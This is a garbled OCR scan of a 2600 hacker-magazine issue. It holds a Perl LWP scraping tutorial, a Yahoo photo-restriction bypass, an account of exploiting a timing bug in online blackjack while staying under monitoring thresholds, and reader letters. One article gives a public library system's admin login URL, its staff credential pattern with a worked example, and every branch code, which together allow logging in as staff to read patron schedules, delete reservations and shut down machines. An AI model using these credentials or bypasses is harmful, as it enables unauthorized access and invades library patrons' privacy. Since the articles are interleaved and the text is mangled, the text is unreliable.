wi ll ever lea rn ,  and can be  used fo r a lmost every­
thi n g .  To down load Perl go to http ://www.ac 
-tivestate . co m ,  and down load the  LWP modu les 
from http://www.CPAN . o rg . This a rti cle wi ll n ot 
descri be  h ow to i nsta ll this stuff. I thi n k  you can 
fig u re it out. It wi ll a lso n ot go i nto g reat detai l 
about h ow to extract the data from the pages you 
receive. This a rti cle is ai med at bei n g  a n  i ntro­
duction  to usi ng  LWP to acqui re data from the 
web . 

A b ri ef i ntroduction  to the HTTP p rotoco l wi ll 
ma ke it a little easie r  to u ndersta nd  what i s  rea lly 
goi n g  on when you sta rt hacki n g  away. You have 
two ma in  methods of req uesti n g  data : get a n d  
post. In both ,  y o u  a re aski n g  t h e  web server fo r a 
specific web page.  If the  page is stati c, the  server 
j ust returns the content of the page. B ut if the  
page i s  dyna mic ,  va ri ab les need to  be  passed to  
the server ( someti m es by cookies) so it ca n dy­
namica lly generate the  content. The difference 
between get and post li es in the way va ri ab les a re 
passed to the  server. With a get request the  vari ­
a b les a re encoded a nd  passed th rough  the  q uery 
stri n g .  
http://www.somesite. com ?va r1 =val1 &va r2=vai2 

When you do a post request, the  va ri a b les a nd  
va lues can n ot be s een  i n  the  query stri n g ,  b ut a re 
sent to the server as content. The server side p ro­
gram can read  its content over the  STDIN . It is 
n ot i mportant to u n derstand  a ll the  ins and outs 
of the  server s ide fo r o u r  pu rposes. It is i mpor­
tant, however, to u nderstand  the difference be­
tween the post a n d  get requests when you a re 
tryi n g  to fi g u re out what you n eed to tell a server 
a n d  how you n eed to tell it i n  order to get data 
back.  

The fi rst thi n g  we n eed to do i n  order to sta rt 
usi n g  LWP i s  set up ou r  basic tools .  H ere i s  a code 
sn ippet: 
use LWP; 
$browser = LWP : : UserAgen t ->new ( ) ;  
$browser->a gen t (  "Mozi l l a / 4 . 76 [ en ] ( Wi n  
" dows N T  5 . 0 ;  U) " ) ; 

The fi rst li n e  gives you access to LWP's box of 
tricks .  The secon d  li n e  creates a n ew LWP b rowser 
which you wi ll use to b rowse the  web. The th i rd 
li n e  is n ot abso lutely n ecessa ry, b ut if the  agent 
i s  not set then  the  HTTP_USER_AG ENT envi ron ­
menta l  vari a b le wi ll tell the  server that  LWP is  
tryi ng  to access the  site. I have found  that a lot 
of sites wi ll deny access if  you a re n ot usi n g  a 
popu la r  b rowser, so it's best j ust to go a h ead  a nd  
set the  agent. 

Now that you have a b rowser object, you can 
use the  get a n d  post methods .  So let's loo k  at a 
si m p le exam p le that uses get to . . .  get a web 
page.  

$url = uRI->new( .. h t tp : //www . googl e . com .. ) ;  
$respon se = $browser->ge t ( $ url ) ;  
i f ( $respon se->is_ s u ccess ) {pri n t  $re 
" spon se ->con t en t ; } 
else {di e " WTF ? $respon se->s t a t u s_ l i n e l n  
" <BR> " ; } 

The fi rst li n e  creates a U RI object ( n ote that 
the  ' 'http ://'' i s  n ecessa ry) . The actua l  U RL cou ld 
j ust as easi ly be di rectly passed to the get 
method as a stri n g ,  but the  use of the  U RI object 
a l lows you to do some cool stuff. It b rea ks the  
URL  i nto a ll of i ts  i n dividua l  pa rts (i . e . ,  scheme,  
useri nfo, h ostname ,  port, path , que ry) a nd  its 
use is genera lly good practi ce. The i s_success at­
tri bute rep resents j ust what you thi n k; it is true 
o n  success and fa lse otherwise.  $ respon se->con­
tent retu rns  a stri n g  contai n i ng  the  content of  
the  page .  I f  the  command  ./foo . cgi>goog le . htm l 
(assum ing  the  fi le contai ni ng  the  code is ca lled 
foo . cgi )  i s  issued,  then by openi n g  the newly cre­
ated fi le goog le . htm l in a web b rowser you wi ll be 
loo ki n g  at the  goog le frontpage (m i nu s  the  pics) . 
If you run  a loca l web server a nd  run  the  scri pt 
from the server, then you don 't have to bother 
with the  two steps .  J ust request the  page from 
you r  loca l server via you r  favo rite web b rowser. If 
the request fai ls ,  then the above p rogram wi ll 
p ri nt  out $ response->status_li n e, which contai n s  
the  status retu rned by  the server. 

Passi ng  variab les th rough  the  get request i s  
just as easy as  getti ng  a stati c page .  Fo r examp le 
to search fo r " 2600" on google . co m ,  you would 
use a U R L  li ke the  fo llowi ng :  
$url = URI->n ew( . .  h t tp : //www . googl e . com/ 
" s earch ?q=2 6 0 0 " ) ; 
Simi la rly: 
$url = URI->new( .. h t tp : //www . googl e . com 
" /search " )  ; 
$url ->query ( "q=2 6 0 0 " ) ; 

Both exam p les accomp li s h  the  same thi ng .  
The latter ta kes advantage of the  U RI objects 
query method .  When the page is retu rned ,  you 
wi ll have resu lts 1 -10 of the  goog le sea rch for 
"2600" .  If you want to get resu lts 11-20 ,  try this :  
$url = URI->n ew( . .  h t tp : //www. googl e . com/ 
" s earch ?q=2 6 0 0 & s tart=1 0 " )  ; 

For 2 1-30 you have sta rt=20 a nd  so o n .  It i s  
obvious  by th i s  examp le how easy it wou ld be  to 
loop through a ll the pages of resu lts . We cou ld ,  
fo r exam p le, co llect a ll the hyperli n ks on  each 
page up  to the  fi rst 100 resu lts . H ere i s  some ex­
amp le code: 
$url = URI->n ew( .. h t tp : //www . googl e . com/ 
" search " ) ; 
foreach $n um ( 0  . •  9 ) { 

} 

$url ->query (  "q=2 6 0 0&s tart= " . 1 0 *$num ) ; 
$response= $browser->get ( $ url ) ;  
i f ( $response->is_ s ucces s )  {&Parse 
"Pri n t ( $respon se->con t e n t ) ; }  
e l s e {di e $respon se-> s t a t us_ l i n e ; } 

If there is n o  error then the  ParsePri n t  
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sub ro uti n e  wi ll pa rse out the data a n d  p ri n t  it to 
STDOUT. This is of cou rse n ot a bui lt i n  fun ction  
a nd  wi ll have to  be written by us .  Th i s  a rtic le i s  
not  goi n g  i nto detai l about  extracti ng  the data , 
but o n e  examp le shou ld sum up the basic idea .  
sub ParsePri n t { 

} 

$con = $_ [ 0 ] ;  
wh i l e ( $con = - /href= \ ·' { O , l } ( .  * ? )  \ 
.. " { a ,  l } >/g) { 

pri n t  $ 1 . " <BR> \ n " ;  
} 

This s ub routi n e  ta kes one  a rgument, which i n  
ou r  case i s  a page o f  hypertext, a n d  then uses a 
regu la r  exp ressi on  to extract every h ref. Regu la r  
exp ressio n s  can be rea lly coo l  a n d  extremely 
powerful, b ut the one  above is overly si mp lified 
and would not work in every situati o n .  The above 
sub routi n e  a lso outputs hyperli n ks that we don 't 
want, such  as the  li n ks to the pages we used to 
get o u r  list i n  the  fi rst p lace.  It i s  left as a n  exer­
ci se to the reader  to fig u re out how to weed out 
the undesi rab les .  

If the  exa m p le fo r google used a post i nstead 
of a get, then the o n ly diffe ren ce wou ld be the  
syntax difference between the  post  a nd  get 
methods .  The rest of the p rogram would be fun c­
tiona lly the same .  H ere is an examp le of post: 
$respon se=$browser->pos t ( $ url , 

[ 
' q ' => ' 2 6 0 0 ' ,  
' s tart ' => ' l a ' 

] ,  
) ;  

The U RI object i s  created the sa me  a s  s hown 
p revious ly. The left va lues a re n ames of vari ab les 

A YA HO O ! 

a nd  the  right  values a re the  values of the 
vari ab les .  

LWP a lso supports the  use of cookies.  Most of 
my experi ence has s hown that I don 't n eed any 
cooki es that a re kept a round  fo r longer  than the 
executi on  of the  p rogra m .  Some websites use 
cookies fo r everythi ng  and you can 't get the data 
you want without them .  If you request a website 
via you r  b rowser a n d  get the site you expect a n d  
t h e n  do  the s ame  with LWP and  do n ot, i t  i s  p rob­
ab ly some cooki e  that n eeds to be  set .  All you 
need to do  i s  tel l  you r  LWP b rowser to use a 
cookie j a r. 
use HTTP : : Cooki e s ;  
$cooki e_ j a r  = HTTP : : Cooki es ->new ( ) ;  
$browser->cookie_ j a r ( $cooki e_ja r) ; 

Now a server can set a n d  receive coo kies to 
a nd  from you ,  a n d  hopefu lly you won 't have any  
problems with them .  

I hope th i s  i n troduction  was he lpfu l. LWP has  
a nice set of tools that i s  good to be fa mi li a r  with 
fo r qu ick a nd  simp le data extractio n  p rojects . It 
a lso has a nice set of too ls to use fo r la rger, m o re 
comp lex p rojects . The examp les above i llustrate 
the extrem e  basi cs of accessi ng  web pages with 
LWP. There i s  a lot of cool stuff you can do  with 
LWP, and there i s  a book ca lled Perl and L WP by 
Sean M. B u rke that you ca n fi nd  it i n .  There is 
a lso,  of cou rse,  support on the web . LWP gives 
you the a bi lity to issue a lot of control over what 
i s  sent to the server and at the same ti me  ta kes 
ca re of a ll the go ry detai ls so you don 't have to. 
Good luck.  

R EST R I CT I O N 
D E F EAT E D  

by Brea kDecks 
We have a ll done  it at some time  or a nother. 

No ,  it i sn 't i llega l, sneaky, or even remotely 1337. 
We have down loaded pictu res others have posted 
on  the Internet. Now, once you fi n ish  comment­
i n g  about how horri b le that i ntro was, take a 
moment to read the contents of this a rti cle. 

The scena ri o  i s  simp le .  You r  friend  sends you a 
li n k  to thei r  Ya hoo page so you can loo k  at thei r  
vacation  photos ! You visit their photo a lbum  and  
take a look .  You li ke their pictu res a n d  want  to 
take a closer loo k  at them . So you right click  a nd  
save t hem  to  you r  computer. Now, o n  the bottom 
of the page it states that  the pictu re's o rigi na l  

size was  1200x1600, but you r  copy i s  o n ly 
480x600! You go back and  realize that the best 
you ' re goi ng  to get with Ya hoo 's  options  i s  that 
crappy compressed image !  Now, where's the sense 
i n  that!? Obvious ly, Yahoo  li mits the download­
ab le s ize of the fi les to save bandwidth . B ut 
how is that usefu l to you ,  the customer? Well, it's 
usefu l if you ' re a hacker, because now you can 
experiment with how this works. 

Let's say that the photo i s  located at 
http ://us .f2 .ya hoofs . com/users/username/2f7f/ 
.. _hrJpicture.jpg .  This is the file, but you can ­
not access o r  down load it di rectly. When  you  loo k  
a t  t h e  fi le, you wi ll n otice a n  encrypted key n ext 
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to it. This key tells the server what size to retu rn 
the  picture as .  Each pictu re has a un ique key fo r 
each size, so you can 't use the same key for a ll 
fi les . 

I first assumed that the fi le was compressed to 
the sma ller size on the server and  the o rigi na l  was 
o n ly avai lab le th rough  the owner's computer. But 
then I remembered that Ya hoo offers p ri ntouts of 
any user photo. They would want to use the o rigi­
nal qua lity image, otherwise people wou ld n ot o r­
der  p ri nts o n li ne .  Now I knew that the o rigi na l  
was  out there on  the server, bu t  I did n ot yet 
know how to access it. 

Yahoo now offers o n li n e  pri nti n g ,  so you n o  
longer  have t o  order. You can print  i t  onto p hoto 
paper usi n g  you r  PC! Hoo  Boy! Now, to do this ,  
you a re either  goi ng  to have crappy pictu res o r  
you  wi ll get access to  the o ri gi n a l  fi les . Yep ,  you 
guessed it, you have access to the o rigi n a l  fi les, 
b ut of cou rse it i s  sti ll n ot that easy !  In  order to 
get the o rigi na l  fi les, you wi ll need to explore 
some of Ya hoo 's  code. But I have done  this for you 
a lready ( because I 'm nice li ke that) . 

In order to get the  fu ll size image, go to the 
a lbum and  select the image you want. Click  on  
" Pri nt at Home" a nd  p roceed to  the pop-up  wi n ­
dow where it wi ll set you  up  for p ri nti n g .  View the  
source of th i s  page  and  you  wi ll see  somethi ng  
li ke this :  
[ ir r e l evant code ] 

var arr lmg new Array ; 

by solemneyed 
The fo llowi ng information is provided purely for 

resea rch purposes and  the author  ta kes no respon­
sibi lity fo r its use or  misuse by readers. 

The Los Angeles Public  Li brary system 
(http ://www. lapl . org) is comprised of 71 branches, 
each of which offers free Internet access to the 
public .  Unti l  recently one on ly needed to present 
some form of 10 (driver's license, li b ra ry ca rd , 
school 10) in o rder to sign  up for either an hour  or  
a ha lf hour  of net time. Th is  sign  up protocol 
proved too time consuming and contentious ,  so 
the administration is gradua lly imp lementing  an 
automated sign  up procedure. Under the new sys­
tem ,  a reservation for Internet ti me can be made 
from any Internet-con nected computer up to th ree 
days in advance. All one needs is an active li brary 
ca rd (i . e . ,  one that has been used recently - o ld/i n­
active cards a re d ropped from the database after a 
yea r or so) and the zi p code spedfied when the 
ca rd was obtai ned.  One can sign up for a maximum 
of  two hours of  Internet time pe r  day (assuming 

var arr lmgTn = n e w  Array ; 
var arr lmgPortraitTn = new Array ( l ) ;  
var arr lmgLandsc apeTn = new Array ( l ) ;  
var arr lmgPortrait = new Array ( l ) ;  
var arrlmgLandsc ape = new Array ( l ) ;  
arrlmgPortraitTn [ O ]  = ' ' http : / / u s . f 2 .  

.yahoof s . c om/ u s e r s / u s ername / . tmp / rotate 

. / 2 f 7 f /  __ t n_ / p i c ture . j p g ? phgACECBA 7 J J 2_ 
-hJ " i 

arrlmgLandsc apeTn [ O ]  = ' ' http : / / u s . f 2 
• .  yahoof s . c om/ u s e r s / u s ername / __ s r_/ 
.picture . j pg ? phgAcECBNs l ttaZV " ; 

arr lmgPortrai t [ O ]  = ' ' http : / / u s . f 2 .  
.yahoo f s . c om/ u s e r s / u s ername / . tmp / rotate 
. / 2 f 7 f /  __ hr_ / p i c ture . j pg ? h ioACECBiF4 l 2 4  
- z Q" ;  

arr lmgLandsc ape [ O ]  = ' ' http : / / u s . f 2 .  
.yahoo f s . c om/ u s e r s / u s ername / 2 f 7 f /  __ hr_/ 
.picture . j p g ? h i gAc E C B 6 r 3 ho_3 k " ; 

[ more i r r e l evant code ] 

The U R L  you want is labeled "va r a rrIm g La nd­
scape [O) = " .  Now when you copy a n d  paste this 
URL to you r  b rowser, the code 
( ? hi gAcECB6 r3 h o_3k) i s  sent to the  server and it 
retu rns  the  fu ll sized image i n stead of the crappy 
comp ressed image  Ya hoo attempts to restri ct you 
to. 

This tri ck  i s  n ot o n ly g reat in Yahoo .  This 
ca n be used for a lot of m u lti media fi les on 
many othe r  websites. The tri ck  i s  figu ri n g  out the 
syntax .  

one has  on ly one  li bra ry ca rd ) .  
Whi le this system has  a lleviated many of  the 

headaches experienced by li brarians and clerks 
who used to have to sign  people up and adjudicate 
disputes between patrons about whose turn it was 
at a given moment, there is sti ll some admi nistra­
tive overhead with the new system .  Occasiona lly 
the system hiccups, and li bra rians  need to be ab le 
to see a li st of who is signed up fo r a pa rticular  
computer on a given day, or to extend a person 's 
b lock of ti me if they experienced a problem,  etc. 
(Note that the system obviously stores data about 
which person wi ll be at a certain computer at a cer­
tai n branch on a certai n day in the future. As fa r as 
I know this data is not retai ned once the appoi nted 
time has passed; at least, it is not visib le/accessi­
b le to li brarians  and clerical staff. It is certai n ly 
possi b le that a log is kept i n defi nitely, however. ) 

This brings  us to the subject of this a rti cle: 
man ipu lati ng  the administrative module of the 
computer schedu li ng  softwa re . Sad ly, this func­
tiona lity is nothi ng more complex than a publicly 
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accessib le URL  which poi nts to a logi n fo r a web 
app :  http ://reserve. lapl .org/cgi-bin/libadmin . exe. 
Instead of restricti ng the IP  ra nge that ca n access 
this site, those responsi b le fo r mai ntai n ing the 
system have evidently chosen to rely on the pri n ci­
p le of "security through obscurity, " as well  as thei r  
rudimenta ry username/passwo rd conventions .  This 
last is not enti rely thei r fa u lt; they have tried to 
construct username/password combinations which 
wi ll be consistent, easy for staff to remem ber, and 
non-i ntuitive for the general pub lic .  With th is  i n  
mind they have opted to  u se  the  fo llowi ng form:  
username = * *STAFF // * *=flrs t two l e t t ers 
-of branch abbrevi a t i on password = 
-aaaaa a## //aaaaaa=six l e t t er abbrevia 
- t i on ,  ##=branch n umber 

What the hell does this mean ,  you may ask? It 
is based on the fact that each of the system's  
branches has its own two dig it  n umber and  s ix let­
ter abbreviation  (see notes ) .  Fo r exa mple, the El 
Sereno branch i s  n umber 21  and  its abbreviation is 
ELSRNO. This n umber and  abbreviation a re used 
on routi ng  s li ps i n serted i nto books which a re be­
i ng  tra nsferred to another branch to be used by a 
( 2 6 )  ANGMSA Ange l e s  Mesa ( 6 1 )  FAIRFX Fairfax Express 

P O )  ASCOTT Ascot ( 4 8 )  F"f,LIPR F e l  i p e  de Neve 

( 4 4 )  A'l'WATR Atwater V i l l a ge ( 5 6 )  GRNHT,S Granada H i l l s  

( 0 5 )  AYOSCQ Arroyo Seco ( 6 8 )  HARBOR Bar-bor-Gateway 

( 4 6 )  I3LDHLS B a l dw i n  H i l l s  ( l l )  HOLYWD Goldwyn H o l l ywood 

( 0 1 ) BNFRNK B e n j a m i n  Frank l i n  ( 3 3 )  HYDEPK H y d e  P a r k  

( 16 )  BRNTWD Brentwood ( 9 1 )  I C Y BKM Inner C i  ty 

( 2 0 )  CAHUNG Cahuenga -Bookmob i l e  

( 2 4 )  CNGOPK Canoga P a r k  ( 1 2 )  J C F R M T  John C .  F'remont 

( 6 0 )  CTSWRT Chat sworth ( 1 7 )  JFRSON J e f f e [ s o n  

( 6 ] )  CWTOWN C h i n a town ( 3 4 )  JNMU I R  John M u i r  

( 2 8 )  C Y P P R K  C y p r e s s  P a r k  ( 0 7 )  J S E R R A  J u n i p e r o  S e r r a  

( 3 1 )  DURANT w i l l  & A r i e l  Durant ( 6 2 )  LKVIEW L a k e  V i ew Terrace 

( 3 2 )  EAGLRK Eagle Rock ( 0 2 )  LCNHTS L i n c o l n  H e i g h t s  

( 0 8 )  E C H O P K  Echo P a r k  ( 3 6 )  L F E L I Z  Los F e l i z  

( 6 9 )  E D E N  Edenda1e ( 6 4 )  LTOKYO Lltt_le Tokyo 

( 2 1 )  ELSRNO F: l  Sereno ( 6 6 )  M I DVAL Mld-Va l l e y  

( 4 7 )  ENCTAR E n c i n o - T a r z a n a  

( 0 6 )  EXPOPK EXpo s l t i o n  P a r k  

( 1 8 )  MLABAR Malabar 

( 4 9 )  MMRIAL Memo r i a l  

by lackAceHole 
In March ,  ParadisePoker. com added b lackjack 

to thei r  softwa re so p layers cou ld " . . .  enjoy a few 
hands  of b lackjack as [they' re] p layi ng poker ! "  A 
few days later, my brother ca lled me to tell me 
about it. I immediately dismissed the game as be­
i ng  a losi ng  venture. Internet casi nos do not typi­
ca lly offer favorab le conditions  fo r b lackjack 
p layers - even ski lled ca rd counters. Internet casi­
nos usua lly deal from an  eight deck shoe (the 
more decks, the worse the advantage for the 
p layer) and they sh uffle after every hand .  This 
makes ca rd counting  impossi b le and renders the 
game u nbeatab le. My brother i n si sted that the 
game was good because he  was fai rly certain that 

patron (i . e . ,  someone in E l  Sereno ca lls North ridge 
b ranch  and  asks them to send a copy of The South 
Beach Diet so a staffmember at North ridge grabs 
the book, i nserts a s li p  i n dicati ng  its desti nation  
as ELSRNO  21 ,  and  tosses i t  on the truck) . Si n ce li ­
b ra ry staff a re a lready accustomed to this system ,  
i t  h a s  been used t o  defi ne t h e  computer reserva­
tion system credentia ls fo r a particu la r  b ranch .  
Staff at E l  Sereno b ranch  would logi n as username 
= ELSTAFF, password = els rn021 .  

So what's the prob lem? Well, given a li st of  
branch  numbers and  abbreviations ,  a ma li cious 
person could logi n as staff of any branch and 
view/alter reservations at that branch .  Th is  could 
i n clude printi ng  a list of who is schedu led to use 
the Internet, deleti ng  patrons '  reservations ,  issu­
ing remote workstation  admi nistration commands  
( such  as logoff, sh utdown, reboot) that would be 
i n convenient and/or disastrous fo r the person us­
ing the system) ,  and much,  much more.  This con­
figu ration  does not exactly i nspi re confidence .  

Branch N u m bers and Abbreviations, 
as of 4/27/05 

( 3 8 )  MRVSTA Mar V i s t a  

( 4 :' )  MTWAIN Mark Twa i n  

( 3 7 )  NOHLWD N o r t h  H o l l ywood 

( 5 9 )  NRTHRG Northridge 

( I S )  PALSDS P a l i s ades 

( 5 3 )  PCOIMA Pacoima 

( 0 3 )  P I OKQR p i o  P i c o / Koreatown 

( 6 5 )  PLA'I'T P l a t t  

( 3 9 )  PNORAM Panorama C i t y  

( 2 2 )  P R N C H O  Palms -Rancho P a r k  

( 6 7 )  PTRRAN Porter R a n c h  

( 7 0 )  PUN ION P i c o  Union 

( 5 5 )  PVISTA P l a y a  Vista 

( 4 2 )  RBRTSN Robe rtson 

( 1 9 )  RLSTVN Robert L.  Stevenson 

( 5 1 )  SHRMNO Sherman Oaks 

( 3 5 )  SNLNDT S u n l and-Tu j u n g a  

( 0 9 )  S P E D R O  S a n  Pedro 

( 2 5 )  STUDIO Studio City 

( 5 2 )  SUNVAL S u n  V a l l e y  

( 5 4 )  SYLMAR S y lmar 

( 5 7 )  VALPLZ V a l l e y  p l a z a  

( 4 0 )  V E N I C E  Venice 

( 9 2 )  VLYBKM Valley Bookmob i l e  

( 1 4 )  VMTSQR vermont Square 

( 2 3 )  VNNUYS Van Nuys 

( 0 4 )  VRNONL Vernon 

( 4 3 )  WATTSL Watts 

( 2 7 )  WESTLA West Los Ange l e s  

( 4 1 )  WIRVNG W a s h i ngton I r v i n g  

( 2 9 )  W L S H R E  W i l s h i r e  

( 1 0 )  WMNGTN W i lmington 

( 5 8 )  WOODLN Wood l a n d  H i l l s  

( 1 3 )  WSTCHS Westchester-Loyo 1 a  

( 5 0 )  WVALLY W e s t  V a l l e y  

there was an exp loitab le bug .  "I don 't know if this 
ma kes the game beatab le or  not, but every time  
the dealer has an  Ace showing ,  it ta kes them an  
extra long time to  ask me for i nsu rance when  they 
have a ten in the ho le .  When they don 't have the 
b lackjack, the i nsu rance prompt comes up  immedi­
ately. " I shook my head in disbelief and quick ly 
sta rted formu lati ng  how much money I could 
tra nsfer from my other poker accounts i nto my 
Paradise account. I knew that this would be a h uge 
money maker if it were true. 

The Edge 
The insu rance bet i s  a side bet that the casi no  

offers when  the dealer has an  Ace as h i s  i niti a l  u p  
ca rd . I f  you  take t he  i nsu rance bet and  t he  dea ler  

P a g e  3 D  ----------------------- 2 b O D  If a g a z i n e 



has a ten-va lued card i n  the ho le,  you wi n one  bet. 
If you ta ke the i nsu rance bet and the dealer does 
not have a ten-va lued ca rd in the ho le,  you lose 
ha lf of one bet. So if you i nitia lly bet $ 100, you a re 
given the opportunity to prevent you rself from 
losi ng  $ 100 if the dealer has a wi nn ing  b lackjack.  
(You wi ll wi n $100 on the i nsu rance bet but lose 
$ 100 on the i nitia l  bet. ) It doesn 't sound li ke 
much ,  but you wi ll essentia lly have $ 100 more 
than if you did n 't know about the exp loit. 

Given the ru les of the game, the house edge 
was 0 . 56  percent, assuming that you p lay perfect 
" Basic Strategy. " Basic Strategy is the best way to 
p lay you r  hand when all you know is what you have 
and  what the dealer has showing .  When the dealer 
has an  Ace exposed , Basic Strategy tells you that 
you shou ld never take i nsu rance .  It i s  a n  unp rof­
itab le bet in the lo ng run .  

The  dealer wi ll have an  Ace as h i s  up  ca rd ap ­
proxi mately once every 13 hands .  Four  out  of  13 
ti mes, the dealer wi ll a lso have a 10 i n  the ho le .  
This  means that you would get to exp loit this bug 
approximately four  times every 169 hands ( 1/13 x 
4/13 ) .  This tra ns lates to a 2 . 366  percent more fa­
vorab le situation for the p layer. Without the ex­
p loit, you would expect to lose 56 cents for every 
$ 100 bet. So with the exploit, this trans lates to a 
1 . 778  percent p layer advantage (or  $1 . 78  for 
every $ 100 bet) over the house without ca rd 
counti ng .  The table li mit fo r the Internet game 
was $300 per hand .  Playi ng quickly, a person can 
p lay four  hands per min ute (240 hands per hour ) .  
Th i s  means  that  th i s  exp loit was  worth over $ 1 280 
per hour  fo r the well fu nded player ($300 x 240 
hands/hour  x 0 .01778 edge) ! 

The Attack 
I logged i nto Paradise Poker and  sta rted play­

i n g  b lackjack. I was betti ng  ten cents per hand 
(the tab le minimum)  unti l I confi rmed the bug .  
Every ti me the dealer had a ten  i n  the ho le, I 
would have to wait one  or two seconds fo r the i n ­
surance prompt to  show up .  When  he didn 't have 
the ten ,  it would come up immediately. After mak­
i n g  perfect i nsu rance bets ei ght out of eight 
times, I decided my brother was right. I got down 
to busin ess and started maki ng  $20 bets . As my 
ban kroll grew, so did my bet size. 

Pretty soon ,  my $400 turned i nto $800. $800 
turned i nto $2000. $2000 tu rned i nto well over 
$6000 and  there was no sign  of stoppi n g !  I fi na lly 
stopped after seven hours because my eyes were 
shot and I j ust couldn 't stay awake anymore .  I de­
cided to take a 12  hour  brea k to sleep (it was fou r  
i n  the morni ng ) ,  check i n  a t  work, and  see 
whether my actions  triggered any red flags in Pa r­
adise Poker's monito ri ng  system .  

The End of the Line 
The next morni ng  I went to work a nd  to ld my 

boss that I was goi ng  to take a few days off. I 
made over one  month ' s  sa la ry i n  less than seven 

hours so I was not going  to let a pesky thi ng  li ke 
work get in my way. Whi le I was there, I got an­
other ca ll from my b rother. "I've been p layi ng  fo r 
about an hour  and  it looks li ke they fixed the 
bug." I rushed home i n  disbelief. After a few min­
utes, I confirmed my brother's bad news. I tried to 
fi nd other exp loits fo r severa l more hours ,  but my 
efforts were fruitless. 

After I was sure the bug no  longer existed, I 
withd rew the majority of my wi nn ings  from my ac­
count. I was afraid that they might thi n k  I was 
cheati ng ,  so I wanted to make sure the money was 
out of thei r  system befo re they froze my account. 
Tech nica lly, neither my brother nor I did a nyth ing 
wrong .  We d idn 't decrypt network packets and  
we didn 't hack the i r  servers . We were just very 
observant and  relied on nothi ng but ou r  sense of 
timi ng .  

When  fi ndi n g  an  exploit li ke th i s ,  i t  is diffi cult 
to determi ne how fa r to push the envelope.  An op­
portunity li ke this o n ly comes once every few 
yea rs. The flaw was very noticeable and  I was sur­
prised to see it up fo r as long  as it was (I assume 
that it was up  si n ce the b lackjack featu re la unched 
six days ea rlier) . I am sure that a ll casi nos ( both 
Internet and  brick and  morta r casi nos) have mon­
ito ri ng  checks i n  p lace when someone is wi n ni ng  
big . I t  is impossib le to  know what these th resho lds 
a re without worki ng  fo r the compa ny. In the U .S . ,  
casi nos a re requi red to  fi ll out  a Cash  Transaction 
Report (CTR) if a player makes more than $10,000 
i n  cash tra nsactions  i n  a 24 hou r  period .  Even 
though Paradise Poker is  not U .S .  based, I was not 
sure whether they would issue the CTR. I decided 
to stop a little shy of this li mit i n  hopes of stayi ng 
under Paradise's radar. Apparently, I did not man­
age to stay i n  the clea r. 

I know that some people wi ll be upset with my 
actions .  There were probably a few people out 
there who knew about the exp loit but were con­
tent i n  wi nn ing  a few hundred do lla rs a day. It is 
possi b le that I cou ld have won more by stretch ing 
out my wi nnings  over ti me instead of goi n g  for the 
th roat, but I hig h ly doubt it. This bug was just too 
easy to stumb le across and  I knew that they would 
fix it i n  a few days fo r one reason or another. I feel 
I chose the path that maximized my wi n nings  and  
I am more than  happy with the  resu lts . 

The Links 
Paradise Poker News 
http://www. paradisepoker.com/news . htm l 
Paradise Poker Blackjack Rules 
http://www. paradisepoker. com/blackjack .  htm l 
Wizard of Odds: Basic Strategy 
http://www.wizardofodds . com/b lackjack 
Wizard of Odds: House Advantage Calculator 
http://www.wiza rdofodds . com/blackjack/ 
-house-edge-calcu lator. htm l 
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A r 1: i 
In Search Of 

Dear 2600: 
When I was readi n g  some of you r  issues, it su rprised 

me that so many people could not fi n d  p laces to buy 2600. 
I was j ust recently in my loca l Borders shopping around 
when I noti ced 2600. It  was i n  the  very front  of the  maga­
zi n e  she lf a nd  I had never noti ced it. I asked one  of the  
clerks a nd  he  sa id  that they had j ust started carryi n g  i t .  I 
was aston ished that in my little city of Eugene,  Oregon 
that almost every si ng le booksto re carried your magazi ne .  
Tha n k  you so much  for the publi cati o n .  Love Off The Hook 

and  Off The Wall too. 
Cohen 

Thanks for looking out for us. 

Dear 2600: 
I j ust picked up an issue of 2600 at my usual  pu rchase 

point: Borders. For the  past yea r or  so, they have tried to 
put you r  issues a lo ngside the other computer/tech no logy 
magazi n es ,  but they often get covered , misplaced, etc. 
due to their size. 

I was su rprised and happy to see this last ti me that 
they have actua lly attached a sma ll m etal  magazi n e  ho lder 
to the  wooden racks appa rently exclusively reserved for 
2600! It is very visible a nd  no more search ing  behi nd  
other magazines to fi nd  the latest i s sue .  Congratu lati on s '  
I t  shou ld be so i n  al l  stores. 

Dave 

Dear 2600: 
I m ust start out by first tha n ki n g  you profusely fo r the  

excellent magazi n e  you put out fou r  ti mes a yea r. Now, 
looki n g  at the  last issue I see that a few people wrote i n  
complai n i ng  t h a t  [Insert Name o f  B i g  Corporate Book­
store] has  been h idi n g  your magazi n e  in obscure p laces. I 
would just li ke to make note that Chapters in Victoria ,  B . C .  
does  exactly the  opposite. When one  wa lks  i nto the  "Tech­
no logy" magazi n e  section of thei r  store, 2600 is  strategi­
ca lly positioned to be the fi rst magazi n e  you see! 

smes 

Victoria, British  Colu m bia, Canada 

We think this is a trend based on customer feedback. 

And again, a big thanks to our readers for helping to make 

such things possible. 

Dear 2600: 
Love the  mag .  J ust wanted to reply to a letter in 2 1 :4  

sayi ng  that  2600 is no  longer  avai la b le i n  Ca nada .  I t  is  def­

initely sti ll avai lab le i n  Canada .  I live i n  B .C .  a nd  I j ust 
picked up  my copy of 2600 at Chapters here in Van couver. 
I 'm waiti n g  fo r the  day when the  Canadian government 
starts p layi n g  Big Brother  on  the  same level as  the U .S .  
a nd  then I 'm movi n g  to Norway or  somethi n g .  

Tha nks  for the  great literatu re. 
lOgic 

Questions 

Dear 2600: 
Who is the  man  in the  photo? What subway stop is this 

at? I thi n k  this man  i s  followi ng  me! 
Aurature 

It might be wise for some people to avoid the covers 
altogether. 

Dear 2600: 
A stra nge  thi n g  j ust happened .  I hea rd my TV s hut off 

in the  next room but I 'm the  o n ly person here at the  mo­
ment .  I wa lked i n  to i nvesti gate a nd  it appears my cable 
box cut power to the  TV of its own accord. Norma lly I 
would n 't thi n k  twice about this but somethi n g  stra nge  was 
goi n g  o n  when I ch ecked the  box. The LCD display was 
counti n g  down in Hex, someth i ng  I've never encountered 
before. It's the sta ndard Scientific Atla nta Explorer 3100 
model that Charter gives to its ca ble subscribers in my 
a rea . 

Have you ever heard of a nythi n g  li ke this> What could 
it possi b ly mean>  

InfernaLStorm 
Occasionally cable boxes reboot for one reason or an­

other. This undoubtedly is what happened in this casco You 
wouldn 't have noticed it if you hadn 't heard your TV turn 
off. And we'll bet the reason that happened was because 
you have your TV plugged into the power outlet on the 
back of your cable box. So when it cuts power, your TV is 
also turned off. Cable reboots can happen every few days 
or every few months depending on a variety of factors. 

Dear 2600: 
I 'm j ust one  lame  kid from Serbia who wants to lea rn  

al l  of the  tech niques .  I know a lot  about hacker history, 
